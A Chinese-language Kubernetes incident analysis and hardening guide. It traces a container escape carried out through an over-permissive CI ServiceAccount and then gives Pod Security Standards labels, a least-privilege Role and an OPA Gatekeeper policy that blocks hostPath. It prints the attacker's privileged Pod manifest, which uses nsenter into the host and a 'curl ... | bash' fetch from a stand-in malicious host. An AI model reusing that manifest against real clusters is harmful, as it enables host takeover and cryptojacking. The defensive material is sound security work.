某次排查生产 K8S 1.28 集群 Worker 节点 CPU 异常打满时,发现黑客利用 CI/CD ServiceAccount 的过度 RBAC 权限,下发带有 privileged: true 和 hostPath 的逃逸 Pod 植入挖矿程序。本文直接给出基于 Pod Security Standards (PSS) 的 Namespace 强制策略,以及结合 OPA Gatekeeper Admission Webhook 的防御代码,彻底阻断此类提权路径。
案发现场:Load Average 飙升与逃逸路径还原
监控系统告警某 Worker 节点 Load Average 飙升至 80+,通过 top 排查发现大量不明进程占用 CPU。进入节点后,查看 dmesg 与 syslog 发现异常的 chroot 操作。通过反查容器运行时(Containerd),定位到一个名为 ci-debug-xyz 的异常 Pod。
导出该 Pod 的 YAML 定义,其核心逃逸 payload 如下:
apiVersion: v1
kind: Pod
metadata:
name: ci-debug-xyz
namespace: cicd-build
spec:
containers:
- name: payload
image: alpine:3.18
command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "sh", "-c", "curl http://malicious.ip/script.sh | bash"]
securityContext:
privileged: true # 致命配置1:开启特权模式
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: / # 致命配置2:挂载宿主机根目录
追查 K8S Audit Log 发现,创建该 Pod 的身份是 system:serviceaccount:cicd-build:jenkins-agent。检查其绑定的 RBAC 角色,发现存在典型的“过度授权”问题:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: jenkins-build-role
namespace: cicd-build
rules:
- apiGroups: [""]
resources: ["pods", "pods/exec"]
verbs: ["*"] # 允许在当前 NS 下对 Pod 进行任意操作
黑客通过某次应用 RCE 漏洞拿到了 Jenkins Agent 的 Token,由于该 Token 拥有 pods 的 create 权限,直接下发了特权 Pod,挂载宿主机根目录并通过 nsenter 逃逸到宿主机执行恶意脚本。
为什么原生的 RBAC 无法阻止容器逃逸?
在 K8S 的安全模型中,RBAC 只解决“谁能操作什么 API 资源”的问题,但不解决“API 资源的内容是否合法”的问题。
当为 CI/CD 赋予了 resources: ["pods"], verbs: ["create"] 权限时,API Server 仅校验该 Token 是否有权调用 POST /api/v1/namespaces/cicd-build/pods 接口。至于提交的 Pod Spec 里是否包含了 hostNetwork: true、privileged: true 或者挂载了宿主机的 /etc/shadow,RBAC 机制无能为力。
在 K8S 1.25 之前,我们通常用 PodSecurityPolicy (PSP) 来拦截危险配置。但 PSP 由于设计复杂且易引发级联故障,在 1.25 被彻底移除,取而代之的是内置的 Pod Security Admission (PSA) 以及依赖外部引擎的 Admission Webhook(如 OPA Gatekeeper / Kyverno)。
防御性加固实战:构建纵深防御体系
为了彻底封死此类攻击面,必须在 API 请求的 Mutating 和 Validating 阶段进行严格拦截。
1. 落地 Pod Security Standards (PSS)
在 K8S 1.28 中,PSA 是默认开启的内置准入控制器。我们通过给 Namespace 打 Label 的方式,强制实施 PSS 的 restricted(限制)或 baseline(基线)标准。
对于普通的业务或 CI/CD Namespace,直接实施 baseline 策略,并开启 restricted 的告警与审计:
# 强制执行 baseline 策略,拒绝特权 Pod 和 hostPath
kubectl label --overwrite ns cicd-build \
pod-security.kubernetes.io/enforce=baseline \
pod-security.kubernetes.io/enforce-version=latest
# 对 restricted 策略进行审计和警告,暂不阻断,用于灰度观测
kubectl label --overwrite ns cicd-build \
pod-security.kubernetes.io/audit=restricted \
pod-security.kubernetes.io/audit-version=latest \
pod-security.kubernetes.io/warn=restricted \
pod-security.kubernetes.io/warn-version=latest
执行上述配置后,若再次尝试提交带有 privileged: true 的 Pod,API Server 会直接在 Validating 阶段拒绝并报错:
Error from server (Forbidden): pods "ci-debug-xyz" is forbidden: violates PodSecurity "baseline": privileged (container "payload" must not set securityContext.privileged=true)
2. RBAC 最小权限重构
不要图省事给 verbs: ["*"]。CI/CD 的 ServiceAccount 如果只需要触发部署,应该只给 Deployment/StatefulSet 的 patch 或 update 权限,绝不要给 pods 的 create 权限,更不要给 pods/exec。
# 修正后的 Role
rules:
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "patch", "update"] # 仅允许更新镜像版本
3. OPA Gatekeeper:更细粒度的 Admission Webhook 拦截
PSS 的 baseline 和 restricted 策略是打包好的黑盒,如果业务确实需要个别特殊权限(例如仅允许挂载 /var/log 目录但不允许挂载 /),PSS 无法做到细粒度放行。这时必须引入 OPA Gatekeeper 作为 Validating Webhook。
部署 Gatekeeper 后,编写 Rego 策略显式禁用 hostPath 逃逸:
ConstraintTemplate (定义校验逻辑):
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
name: k8sblockhostpath
spec:
crd:
spec:
names:
kind: K8sBlockHostPath
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8sblockhostpath
violation[{"msg": msg}] {
volume := input.review.object.spec.volumes[_]
has_key(volume, "hostPath")
msg := sprintf("Strictly prohibited: Pod uses hostPath volume '%v'", [volume.name])
}
has_key(obj, k) {
_ = obj[k]
}
Constraint (绑定到特定 Namespace):
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockHostPath
metadata:
name: block-hostpath-cicd
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
namespaces: ["cicd-build", "prod"]
当黑客再次利用漏洞尝试提交包含 hostPath 的 Payload 时,请求会被 Gatekeeper 的 Webhook 拦截,并返回我们自定义的错误信息。
常见问题
Q1: PSS 开启 restricted 策略后,合法业务的 Pod 启动报错 must drop ALL capabilities,如何处理?
A: restricted 级别要求极为严格,要求容器必须在 securityContext 中显式声明丢弃所有 Linux Capabilities。解决办法是修改业务的 Deployment YAML,在 containers.securityContext 中加入:
securityContext:
capabilities:
drop:
- ALL
建议在推行 restricted 前,先开启 warn 和 audit 模式,通过日志观察两周,将业务 YAML 修改合规后再开启 enforce。
Q2: 集群已经开启了内置的 PSS 策略,还有必要部署 OPA Gatekeeper 或 Kyverno 吗? A: 非常有必要。PSS 只能处理 Pod 级别的安全规范(如限制特权、HostNetwork、Volume 类型等)。但真实生产环境中,你还需要拦截诸如 “禁止拉取非内网 Harbor 的镜像”、”必须包含特定 Label(如 cost-center)”、”禁止 Ingress 规则冲突” 等场景,这些超出 Pod Security 范畴的细粒度校验,只能通过外部 Admission Webhook 引擎实现。两者是互补关系。
Q3: 旧集群(K8S 1.20)还在用 PSP,近期准备升级到 1.28,如何平滑迁移? A: PSP 与 PSS 的底层机制完全不同。平滑迁移步骤:
-
在 1.20 集群安装
kyverno或gatekeeper,将旧的 PSP 规则翻译成 Webhook Policy。 -
将 Webhook Policy 设置为
audit模式,对比 PSP 的阻断日志,确保规则一致。 -
升级 K8S 集群。升级到 1.25 时 PSP 会自动失效,此时将 Webhook Policy 切换为
enforce模式接管防御。 -
在 1.28 中,逐步为 Namespace 打上 PSS 标签,用 K8S 原生能力替换掉部分基础的 Webhook Policy,降低 API Server 调用 Webhook 的延迟。